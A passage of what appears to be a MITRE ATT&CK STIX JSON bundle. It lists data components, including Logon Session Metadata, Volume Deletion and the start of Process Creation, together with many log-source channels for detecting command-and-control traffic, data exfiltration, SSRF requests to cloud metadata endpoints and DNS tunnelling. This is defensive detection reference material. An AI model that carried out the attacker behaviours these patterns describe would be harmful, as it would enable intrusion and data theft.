                    "channel": "outbound HTTPS connections to cloud storage APIs"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process, network"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process = 'ssh' OR eventMessage CONTAINS 'ssh'"
                },
                {
                    "name": "Netfilter/iptables",
                    "channel": "Forwarded packets log"
                },
                {
                    "name": "Network Traffic",
                    "channel": "None"
                },
                {
                    "name": "networkconfig ",
                    "channel": "interface flag PROMISC, netstat | ip link | ethtool"
                },
                {
                    "name": "networkdevice:config",
                    "channel": "NAT table modification (add/update/delete rule)"
                },
                {
                    "name": "networkdevice:IDS",
                    "channel": "content inspection / PCAP / HTTP body"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "ACL/Firewall rule modification or new route injection"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "config change (e.g., logging buffered, pcap buffers)"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "Authentication failures, unexpected community string usage, or unauthorized SNMPv1/v2 requests"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "Authentication failures or unusual community string usage in SNMP queries"
                },
                {
                    "name": "NSM:Connections",
                    "channel": "Symmetric encryption detected without TLS handshake sequence"
                },
                {
                    "name": "NSM:Connections",
                    "channel": "TLS handshake + HTTP headers"
                },
                {
                    "name": "NSM:Connections",
                    "channel": "Abnormal certificate chains or non-standard ports carrying TLS"
                },
                {
                    "name": "NSM:Connections",
                    "channel": "Unusual POST requests to admin or upload endpoints"
                },
                {
                    "name": "NSM:Connections",
                    "channel": "Outbound connections to internal enterprise services exhibiting anomalous protocol behavior, malformed sessions, or exploit-consistent traffic patterns"
                },
                {
                    "name": "NSM:Content",
                    "channel": "SSL Certificate Metadata"
                },
                {
                    "name": "NSM:Content",
                    "channel": "HTTP Header Metadata"
                },
                {
                    "name": "NSM:Content",
                    "channel": "TLS Fingerprint and Certificate Analysis"
                },
                {
                    "name": "NSM:Content",
                    "channel": "Traffic on RPC DRSUAPI"
                },
                {
                    "name": "NSM:Firewall",
                    "channel": "TLS/HTTP inspection"
                },
                {
                    "name": "NSM:Firewall",
                    "channel": "High rate of inbound TCP SYN or ACK packets with missing 3-way handshake completion"
                },
                {
                    "name": "NSM:Firewall",
                    "channel": "Anomalous TCP SYN or ACK spikes from specific source or interface"
                },
                {
                    "name": "NSM:Firewall",
                    "channel": "Outbound encrypted traffic"
                },
                {
                    "name": "NSM:Firewall",
                    "channel": "ICMP/UDP protocol anomaly"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "mqtt.log / xmpp.log (custom log feeds)"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "mqtt.log or AMQP custom log"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "mqtt.log, xmpp.log, amqp.log"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "TCP/UDP"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "TCP session tracking"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Captured packet payloads"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "session behavior"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "External C2 channel over TLS"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "http/file-xfer: Inbound/outbound transfer of ELF shared objects"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "http.log, files.log"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "unexpected network activity initiated shortly after shell session starts"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "HTTP/WebDAV requests that contain NTLMSSP or PROPFIND/MOVE/OPTIONS with Authorization: NTLM"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "http.log, ssl.log"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "http.log, conn.log"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "SPAN or port-mirrored HTTP/S"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "http.log, ssl.log, websocket.log"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "ssl.log"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Browser connections to known C2 or dynamic DNS domains"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Session History Reset"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "HTTP "
                },
                {
                    "name": "NSM:Flow",
                    "channel": "query: High-volume LDAP traffic with filters targeting groupPolicyContainer attributes"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "HTTP/TLS Logs"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Suspicious URL patterns, uncommon TLDs, short-lived domains, URL shorteners; HTTP method GET/POST"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Suspicious URL patterns, uncommon TLDs, URL shorteners"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Suspicious GET/POST; downloader patterns"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "SSH logins or scp activity"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "remote login and transfer"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "conn.log"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Suspicious long-lived or reattached remote desktop sessions from unexpected IPs"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "HTTP payloads with SQLi/LFI/JNDI/deserialization indicators"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "outbound egress from web host after suspicious request"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Requests towards cloud metadata or command & control from pod IPs"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Connections to TCP 427 (SLP) or vCenter web services from untrusted sources"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "NetFlow/sFlow for odd egress to Internet from mgmt plane"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "packet capture or DPI logs"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "http.log"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "SMB2_LOGOFF/SMB_TREE_DISCONNECT"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Unusual Base64-encoded content in URI, headers, or POST body"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Base64 strings or gzip in URI, headers, or POST body"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Inbound connections to 445, 3389, 5985-5986 with high error/connection-reset rate, followed by new outbound sessions from the same host to internal assets within short interval."
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Inbound connections to monitored service ports from external or unusual internal sources; rapid follow-on lateral connections from the same host."
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Inbound to tcp/427 (OpenSLP), tcp/443 (vSphere APIs), tcp/902, tcp/5989 followed by new unexpected outbound sessions from the ESXi/vCenter host."
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Inbound to 22/5900/8080 and follow-on internal connections."
                },
                {
                    "name": "NSM:Flow",
                    "channel": "http: HTTP body or headers contain long Base64 sections; gzip/deflate + Base64"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "http: HTTP body contains long Base64 sections"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "http: Base64/MIME looking payloads from ESXi host IP"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "LDAP Bind/Search"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "LDAP Query"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "smtp.log"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "smtp.log, conn.log"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "remote CLI session detection"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "http.log, ftp.log"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "PCAP inspection"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "large HTTPS POST requests to webhook endpoints"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Single, low-volume inbound packet (REJ/S0/OTH or uncommon dport/protocol) from src_ip followed by outbound SF connection to src_ip."
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Rare inbound packet characteristics (ICMP/UDP/TCP to uncommon port) from src_ip followed \u2264TimeWindow by outbound SF from same host to src_ip."
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Inbound one-off packet to uncommon port \u2192 outbound SF to same src_ip within TimeWindow."
                },
                {
                    "name": "NSM:Flow",
                    "channel": "large upload to firmware interface port or path"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "http.request: HTTP requests and responses for specific script resources, unexpected content-types (application/octet-stream for script URLs), suspicious referrers, or obfuscated javascript resources"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "http::response: HTTP responses with suspicious content-type for scripts, long obfuscated javascript bodies, or redirects to exploit kit domains"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "HTTP/HTTPS requests for script resources flagged by content inspection (excessive obfuscation, eval usage, unusual redirects)"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "ssl.log + http.log"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "http/file-xfer: Outbound transfer of large video-like MIME types soon after capture"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Outbound SCP, TFTP, or FTP sessions carrying configuration file content"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Session Transfer Content"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Captured File Content"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "C2 exfiltration"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Transferred file observations"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "http::post: Outbound HTTP POST from host shortly after DB export activity"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "HTTPS API requests to Dropbox, iCloud, Google Drive, OneDrive shortly after DB tool usage"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Observed downgrade in negotiated cipher suites or TLS/SSH versions across sessions"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "New egress from container IP/namespace to Internet or non-approved CIDRs/ASNs"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "New VM egress to crypto-mining pools or non-approved Internet ranges within minutes of boot"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "http::request: Network connection to package registry or C2 from interpreter shortly after install"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "http::request: Outbound HTTP initiated by Python interpreter"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "DrsAddEntry, DrsReplicaAdd, GetNCChanges calls between non-DC and DCs."
                },
                {
                    "name": "NSM:Flow",
                    "channel": "large HTTPS POST requests to text storage domains"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Unexpected ARP replies or DNS responses inconsistent with authoritative servers"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "TLS downgrade or inconsistent DNS answers"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Unusual request pattern leading up to service crash (e.g., malformed or oversized payload)"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "conn.log or http.log"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "http: HTTP bodies/headers contain long tokens with non-standard alphabets or constant-size periodic POSTs"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "dns: DNS labels with excessive length and restricted custom alphabets (e.g., base36 only) repeated frequently"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "http: suspicious long tokens with custom alphabets in body/headers"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "http: HTTP bodies from ESXi host IPs containing long, non-standard tokens"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Traffic patterns showing downgrade from strong encryption (AES-256) to weaker or plaintext protocols"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "HTTP(S) requests with User-Agents typical of PowerShell or curl from desktop; or URIs matching paste-inspired payload hosts"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Egress to non-approved networks from host after terminal exec"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Flow/PCAP analysis for outbound payloads"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "conn.log + files.log + ssl.log"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "HTTPS or custom protocol traffic with large payloads"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Unexpected script or binary content returned in HTTP response body"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Injected content responses with unexpected script/malware signatures"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Content injection observed in HTTPS responses with mismatched certificates or altered payloads"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Relay patterns across IP hops"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "ldap.log"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Probe responses from unauthorized APs responding to client probe requests"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Excessive gratuitous ARP replies on local subnet"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Inbound HTTP POST with suspicious payload size or user-agent"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "POST requests to .php, .jsp, .aspx files with high entropy body"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "dns.log"
                },
                {
                    "name": "NSM:FLow",
                    "channel": "dns.log"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Encrypted tunnels or proxy traffic to non-standard destinations"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "large transfer from management IPs to unauthorized host"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Sustained abnormal inbound request rate targeting application ports (e.g., 80/443/25)"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "ftp.log, smb_files.log"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "ftp.log, conn.log"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "mirror/SPAN port"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "ftp.log, conn.log, smb_files.log"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "SSL/TLS Inspection or PCAP"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "conn.log, ssl.log"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "http, dns, smb, ssl logs"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "dns, ssl, conn"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "conn.log, http.log, dns.log, ssl.log"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "ICMP/UDP traffic (Wireshark, Suricata, Zeek)"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "icmp.log, weird.log"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "ICMP/UDP monitoring (tcpdump, Wireshark, Zeek)"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Unusual responses to LLMNR (UDP 5355) or NBT-NS (UDP 137) queries from unauthorized hosts"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "DHCP OFFER or ACK with unauthorized DNS/gateway parameters"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Multiple DHCP OFFER responses for a single DISCOVER"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "SSL/TLS Handshake Analysis"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "HTTP Header Metadata"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Network Capture TLS/HTTP"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "container egress to unknown IPs/domains"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "HTTP Request Logging"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "ssh connections originating from third-party CIDRs"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "ssh/smb connections to internal resources from third-party devices"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Degraded encryption throughput or switch to weaker cipher suites compared to historical baselines"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "ssl.log (for TLS handshake analysis), dns.log (tunneling indicators)"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "host switch egress data"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Outbound HTTP/S"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "ssl.log - Certificate Analysis"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "ssl.log, conn.log"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "ssl.log, x509.log"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Packets with unusual flags or payloads outside established flows (e.g., WoL magic FF\u00d76 + 16\u00d7MAC)"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Suspicious POSTs to upload endpoints"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "TLS/HTTP download with atypical MIME (application/octet-stream, application/x-zip, application/x-gzip) followed by local decode/write"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "HTTP(S)/QUIC media download with opaque content types (image/*, audio/*, video/*) from non-gallery domains or CDNs not previously used by the app"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "HTTP(S)/QUIC download of executable/opaque content (application/octet-stream, application/zip, application/java-archive, application/x-dex, application/x-sharedlib, text/javascript)"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "burst of DNS queries/connection attempts to RFC1918 or local gateway immediately after scans"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "HTTPS sessions exhibiting periodic request cadence or structured payload exchanges inconsistent with application baseline"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Application-layer indicators observable via enterprise network controls (HTTP method, URI path pattern class, TLS SNI, JA3/ALPN when available, DNS qname/type) showing anomalous or low-and-slow command polling behavior"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Near-term increase in traffic to identity endpoints associated with SMS MFA, account recovery, or OTP verification (IdP, banking, crypto), correlated to SIM/service loss"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Abrupt shift from cellular egress to Wi-Fi-only egress, or new VPN/proxy session establishment following cellular service loss"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Application-layer web traffic showing suspicious redirect chains, iframe/ad-tech cascades, user-agent or environment fingerprinting requests, or staged payload retrieval after page visit"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Application initiates HTTPS connection with repeated certificate validation failure under enterprise proxy followed by direct network retry or stable opaque TLS communication to same endpoint within correlation window"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "App-destination pair shows consistent inspection bypass/refusal pattern followed by direct encrypted communication or repeated short-lived TLS sessions to same endpoint within correlation window"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Application retrieves remote content from non-baselined domain or IP and the transfer direction is inbound to device during the file acquisition phase"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Managed iOS app retrieves remote content from non-baselined domain or IP with inbound payload transfer during the acquisition phase"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Device shows correlated inbound session establishment followed by outbound connections to separate external destinations with overlapping timing and relay-like byte symmetry"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Traffic spike preceding control crash"
                },
                {
                    "name": "NSM:Inspection",
                    "channel": "TLS session from mobile app fails, resets, or refuses enterprise interception while same destination/app pair repeatedly establishes direct encrypted communication pattern consistent with pinned certificate/public-key validation"
                },
                {
                    "name": "NSM:Inspection",
                    "channel": "TLS handshake from iOS app repeatedly fails or is rejected only when enterprise SSL inspection certificate is presented, indicating certificate or public-key pin validation effect"
                },
                {
                    "name": "saas:box",
                    "channel": "API calls exceeding baseline thresholds"
                },
                {
                    "name": "saas:confluence",
                    "channel": "REST API access from non-browser agents"
                },
                {
                    "name": "TelecomLogs:SS7Signaling",
                    "channel": "Subscriber information queries, routing requests, or location update messages with anomalous node identifiers or unexpected origin patterns"
                },
                {
                    "name": "TelecomLogs:SS7Signaling",
                    "channel": "Location resolution, routing, or subscriber information exchanges with anomalous signaling paths or node identities"
                },
                {
                    "name": "VPN:MobileProxy",
                    "channel": "Supervised or newly activated device initiates outbound connections to destinations outside Apple, MDM, update, or enterprise-managed baselines while locked, with no recent user interaction, or before expected app enrollment completion"
                },
                {
                    "name": "VPN:MobileProxy",
                    "channel": "Application or device component communicates with legitimate external web-service infrastructure such as cloud storage, social media, messaging, collaboration, paste, code-hosting, CDN-backed API, or generic HTTPS service in a pattern inconsistent with the app's approved network baseline, timing, or service class"
                },
                {
                    "name": "VPN:MobileProxy",
                    "channel": "Supervised device or managed app communicates with legitimate external web-service infrastructure such as cloud storage, messaging, collaboration, social, paste, or generic HTTPS API platforms in a pattern inconsistent with expected service baseline, managed app role, or normal background refresh behavior"
                },
                {
                    "name": "VPN:MobileProxy",
                    "channel": "App-attributed HTTP GET or HTTPS session to public web platform (social, paste, collaboration, cloud storage, code-hosting) returned content followed by outbound connection to a different domain or IP within TimeWindow"
                },
                {
                    "name": "VPN:MobileProxy",
                    "channel": "DNS query or TLS SNI for previously unseen domain occurred within TimeWindow after session to legitimate web-service domain from same app identity"
                },
                {
                    "name": "VPN:MobileProxy",
                    "channel": "Initial session to public web-service domain transferred small response payload followed by connection to new external endpoint with different ASN or domain category"
                },
                {
                    "name": "VPN:MobileProxy",
                    "channel": "App-attributed session to public web-service domain included inbound content retrieval followed by outbound POST, PUT, upload, comment, message send, document update, or API write to same service class within TimeWindow"
                },
                {
                    "name": "VPN:MobileProxy",
                    "channel": "Repeated alternating inbound and outbound sessions to same public web-service domain or API endpoint occurred from same app identity with stable recurrence interval"
                },
                {
                    "name": "VPN:MobileProxy",
                    "channel": "Outbound write operation to public web-service domain occurred after small inbound response retrieval from same domain or service class without preceding user-visible foreground activity"
                },
                {
                    "name": "VPN:MobileProxy",
                    "channel": "App-attributed HTTP GET, content fetch, sync pull, or inbound-oriented HTTPS session to public web-service domain recurred within TimeWindow without app-attributed POST, PUT, PATCH, upload, comment, message send, or API write to same service class"
                },
                {
                    "name": "VPN:MobileProxy",
                    "channel": "Repeated app-attributed retrieval from same public web-service domain or API endpoint occurred at stable recurrence interval with low outbound volume relative to inbound content"
                },
                {
                    "name": "VPN:MobileProxy",
                    "channel": "Inbound content retrieval from public web-service domain occurred without subsequent writeback to same service class and was followed by local or downstream activity outside normal app sync profile"
                },
                {
                    "name": "VPN:MobileProxy",
                    "channel": "TLS handshake, HTTP method/header pattern, or WebSocket upgrade was observed on destination port outside approved port set for detected protocol during app-attributed outbound session"
                },
                {
                    "name": "VPN:MobileProxy",
                    "channel": "Repeated app-attributed sessions to same destination or service class used non-standard destination port with stable recurrence interval or persistent connection behavior"
                },
                {
                    "name": "VPN:MobileProxy",
                    "channel": "Destination port was not in approved protocol-to-port mapping for app identity or service class and session did not match known enterprise proxy, relay, or developer tooling exception"
                },
                {
                    "name": "VPN:MobileProxy",
                    "channel": "Observed protocol-to-port pairing was outside approved mapping for managed bundle or service class and did not match enterprise proxy, relay, or developer tooling exception"
                },
                {
                    "name": "WebProxy:AccessLogs",
                    "channel": "SSRF-like patterns accessing metadata endpoint through proxy (e.g., Host: 169.254.169.254)"
                },
                {
                    "name": "WIDS:AssociationLogs",
                    "channel": "Unauthorized AP or anomalous MAC address connection attempts"
                },
                {
                    "name": "WinEventLog:iis",
                    "channel": "IIS Logs"
                },
                {
                    "name": "WinEventLog:Microsoft-Windows-Windows Defender/Operational",
                    "channel": "Unusual external domain access"
                },
                {
                    "name": "WinEventLog:Sysmon",
                    "channel": "Outbound requests with forged tokens/cookies in headers"
                },
                {
                    "name": "WinEventLog:System",
                    "channel": "EventCode=5005 (WLAN), EventCode=302 (Bluetooth)"
                }
            ]
        },
        {
            "type": "x-mitre-data-component",
            "id": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b",
            "created": "2021-10-20T15:05:19.274Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/datacomponents/DC0088",
                    "external_id": "DC0088"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Logon Session Metadata",
            "description": "Contextual data about a logon session, such as username, logon type, access tokens (security context, user SIDs, logon identifiers, and logon SID), and any activity associated within it",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "ics-attack",
                "enterprise-attack"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_log_sources": [
                {
                    "name": "Logon Session",
                    "channel": "None"
                },
                {
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4672"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "LoginWindow context with associated PID linked to reopened plist paths"
                },
                {
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4672, 4634"
                },
                {
                    "name": "azure:signinlogs",
                    "channel": "SAML-based login with anomalous issuer or NotOnOrAfter lifetime"
                },
                {
                    "name": "m365:unified",
                    "channel": "Abnormal user claims or unexpected elevated role assignment in SAML assertion"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "authd generating multiple MFA token requests"
                },
                {
                    "name": "linux:syslog",
                    "channel": "None"
                },
                {
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4624, 4625, 4768, 4769"
                },
                {
                    "name": "linux:syslog",
                    "channel": "sssd / sudo logs"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "/var/log/hostd.log"
                },
                {
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4778, EventCode=4779"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "ssh logins or execve of remote commands"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Remote login (ssh) or screen sharing authentication attempts"
                },
                {
                    "name": "kubernetes:audit",
                    "channel": "Unauthorized container creation or kubelet exec logs"
                },
                {
                    "name": "auditd:USER_LOGIN",
                    "channel": "USER_LOGIN"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "loginwindow or sshd"
                },
                {
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4800, 4801"
                },
                {
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4776, 4771, 4770"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve,socket,connect,openat"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Group membership change for admin or wheel"
                },
                {
                    "name": "azure:audit",
                    "channel": "Add delegated admin / Assign admin roles / Update application consent"
                },
                {
                    "name": "saas:okta",
                    "channel": "user.session.start, app.oauth2.as.authorize, policy.mfa.bypass"
                },
                {
                    "name": "gcp:audit",
                    "channel": "google.iam.credentials.generateAccessToken / serviceAccountTokenCreator"
                },
                {
                    "name": "saas:salesforce",
                    "channel": "ConnectedApp OAuth policy change / Login as user"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Unusual Kerberos TGS-REQ without TGT or anomalous ticket lifetime"
                },
                {
                    "name": "saas:okta",
                    "channel": "user.authentication.sso"
                },
                {
                    "name": "m365:unified",
                    "channel": "FileAccessed, SharingSet"
                },
                {
                    "name": "m365:signinlogs",
                    "channel": "UserLogin"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "loginwindow, sshd"
                },
                {
                    "name": "NSM:Connections",
                    "channel": "Successful sudo or ssh from unknown IPs"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "loginwindow or sshd events with external IP"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process = 'sshd'"
                },
                {
                    "name": "esxi:auth",
                    "channel": "None"
                }
            ]
        },
        {
            "type": "x-mitre-data-component",
            "id": "x-mitre-data-component--3acecdde-c327-4498-9bb8-33a2e63c6c57",
            "created": "2021-10-20T15:05:19.275Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/datacomponents/DC0098",
                    "external_id": "DC0098"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Volume Deletion",
            "description": "The removal of a cloud-based or on-premise block storage volume. This action permanently deletes the allocated storage and may result in data loss if not backed up.\n\n*Data Collection Measures:*\n\n- Cloud Logging & APIs\n    - AWS CloudTrail Logs\n        - `eventName: DeleteVolume` (tracks volume deletions)\n    - Azure Monitor Logs\n        - `operationName: Microsoft.Compute/disks/delete`\n        - `status: Success | Failure` (flag unauthorized delete attempts)\n    - Google Cloud Audit Logs\n        - `protoPayload.methodName: \"v1.compute.disks.delete\"`\n        - `authenticationInfo.principalEmail` (identifies the user deleting the volume)\n- System & Host-Based Logging\n    - Linux & macOS Logs:\n        - `/var/log/syslog` or `/var/log/messages` for volume detach/deletion actions\n    - Windows Event Logs:\n        - Event ID 98 (Storage Class Memory)\n        - Event ID 225 (Volume Removal Detected)\n        - Event ID 12 (Disk Removal Notification)",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_log_sources": [
                {
                    "name": "esxi:vmkernel",
                    "channel": "file delete|datastore purge"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "DeleteVolume"
                }
            ]
        },
        {
            "type": "x-mitre-data-component",
            "id": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
            "created": "2021-10-20T15:05:19.272Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/datacomponents/DC0032",
                    "external_id": "DC0032"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2026-05-12T15:12:00.773Z",
            "name": "Process Creation",
